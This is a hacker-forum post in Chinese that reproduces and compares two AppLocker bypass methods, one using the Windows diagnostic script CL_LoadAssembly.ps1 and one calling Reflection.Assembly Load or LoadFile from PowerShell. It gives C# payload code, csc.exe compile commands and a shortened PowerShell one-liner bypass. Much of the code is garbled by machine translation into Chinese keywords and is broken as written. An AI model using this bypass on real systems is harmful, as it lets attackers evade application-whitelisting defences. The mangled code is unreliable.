跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

利用程序集加载加载文件绕过Applocker的分析总结

精选回复

发布于

0x00 前言

最近博霍普斯在文章《Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts》 中介绍了利用CL_LoadAssembly.ps1绕过Applocker的方法凯西史密斯早在SchmooCon 2015也提到了这个方法。本文将要对他们的两个实现方法进行复现,分析细节,比较区别,进而总结利用思路。

0x01 简介

本文将要介绍以下内容:

复现博霍普斯的方法

复现凯西史密斯的方法

细节分析

总结利用思路

0x02 复现bohops的方法

测试系统:Win7 x86

开启Applocker,开启方法可参考文章《Bypass Windows AppLocker》

开发工具:VS2012

1、新建c#控制台工程控制台应用程序5,默认代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

命名空间控制台应用程序5

{

班级计划

{

静态void Main(string[] args)

{

}

}

}

2、修改代码,内容如下:

命名空间控制台应用程序5

{

公开课程

{

公共静态无效测试()

{

系统。诊断。过程p=新系统诊断。process();

页(第页的缩写)StartInfo。FileName=' c:\ \ windows \ \ system32 \ \ calc。exe ';

//p . startinfo。filename=' c:\ \ windows \ \ system32 \ \ cmd。exe ';

//p . startinfo。arguments=@ '/c ' ' powershell。exe ' '-EP bypass-c $ host ';

页(第页的缩写)start();

}

静态void Main(string[] args)

{

test();

}

}

}

注:

班级计划前需要添加访问修饰符公共的,添加方法测试()同样要加访问修饰符公众的

3、修改目标框架为. net 2.0,编译生成控制台应用程序5,保存在c:\6下

4、powershell执行如下代码:

光盘C:\ windows \诊断\系统\航空

导入模块. CL \ CL _ load assembly . PS1

LoadAssemblyFromPath.\.\.\.\6\ConsoleApplication5.exe

[控制台应用程序5 .程序]:测试()

注:

.\.\.\.\能够定位到丙:\

[控制台应用程序5 .程序]:测试()需要同程序内的代码对应,格式为:[$命名空间.$ class]:$ function()

成功执行calc.exe,绕过applocker

0x03 复现Casey Smith的方法

测试系统:Win7 x86

开启Applocker

代码参考地址:

https://要点。github。com/NetBIOS x/5 f19 a3e 8762 b 6 E3 FD 25782 D8 c 37 b 1663

本次测试对凯西史密斯的代码做细微修改

1、新建文件旁路。cs,内容如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

公开课程

{

公共静态void Main()

{

控制台WriteLine(' Hey There From Main()');

//在此添加任何行为以摆脱沙盒执行/分析师:)

}

}

公共美国汽车协会级

{

公共静态void bbb()

{

系统。诊断。过程p=新系统诊断。process();

页(第页的缩写)StartInfo。FileName=' c:\ \ windows \ \ system32 \ \ calc。exe ';

//p . startinfo。filename=' c:\ \ windows \ \ system32 \ \ cmd。exe ';

//p . startinfo。arguments=@ '/c ' ' powershell。exe ' '-EP bypass-c记事本。exe ';

页(第页的缩写)start();

}

}

2、使用2.0版本的csc.exe对其编译,生成可执行程序的扩展名文件

C:\Windows\Microsoft .NET \ Framework \ v 2。0 .50727 \ CSC。exe/unsafe/平台:x86 /out:bypass.exe bypass.cs

3、powershell执行如下代码:

$bytes=[System .IO。File]:读取所有字节(' C:\ 6 \ bypass。exe’)

【反思。程序集]:加载(字节)

[aaa]:bbb()

成功执行calc.exe,绕过applocker

0x04 对比分析

1、bohops的方法

加载文件CL_LoadAssembly.ps1,位于c:\ windows \诊断\系统\航空

文件CL_LoadAssembly.ps1内容如下:

#版权所有2008,微软公司。保留所有权利。

#公共库

\\ CL _ utility . PS1

函数LoadAssemblyFromNS([字符串]$命名空间)

{

if([string]:IsNullorEmpty($ namespace))

{

抛出"无效的命名空间"

}

【系统反射。assembly]:LoadWithPartialName($ namespace)$ null

}

函数LoadAssemblyFromPath([string]$脚本路径)

{

if([String]:IsNullorEmpty($ script path))

{

抛出"无效文件路径"

}

$ absolute path=GetAbsolutionPath $脚本路径

【系统反射。Assembly]:LoadFile($绝对路径)$ null

}

调用函数LoadAssemblyFromPath,本质上是调用【系统LoadFile(绝对路径)

2、Casey Smith的方法

$bytes=[System .IO。File]:读取所有字节(' C:\ 6 \ bypass。exe’)

【反思。程序集]:加载(字节)

[aaa]:bbb()

调用了【反思。程序集]:加载(字节)

注:

【反思。组装]是【系统。反射。装配]的简写

3、对比

两种方法分别使用了装配的加载文件和负荷方法,两者的区别在这里的影响微乎其微

可以分别使用加载文件和负荷方法去调用以上两种方法生成的两个exe(分别由vs2012和csc.exe编译)

互换后的代码如下:

$bytes=[System .IO。File]:读取所有字节(' C:\ 6 \控制台应用程序5。exe’)

【反思。程序集]:加载(字节)

[控制台应用程序5 .程序]:测试()

光盘C:\ windows \诊断\系统\航空

导入模块. CL \ CL _ load assembly . PS1

LoadAssemblyFromPath.\.\.\.\6\bypass.exe

[aaa]:bbb()

经过以上测试,可以推断如下两段代码等价:

光盘C:\ windows \诊断\系统\航空

导入模块. CL \ CL _ load assembly . PS1

LoadAssemblyFromPath.\.\.\.\6\bypass.exe

【反思assembly]:* LoadFile(' C:\ 6 \ bypass。exe’)

依照以上推断,我们可以对凯西史密斯的利用代码进行精简,最短的powershell实现代码如下:

【反思assembly]:* LoadFile(' C:\ 6 \ bypass。exe’)

[aaa]:bbb()

4、适用条件

实际测试,以上两种方法适用. net 2.0,如果换成. net 4.0编译,在执行时会报错

0x05 小结

本文分别对博霍普斯和凯西史密斯的方法做了测试,找到方法的本质是分别使用了装配的加载文件和负荷方法。经实际测试,得出该方法只适用于. Net 2.0环境

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。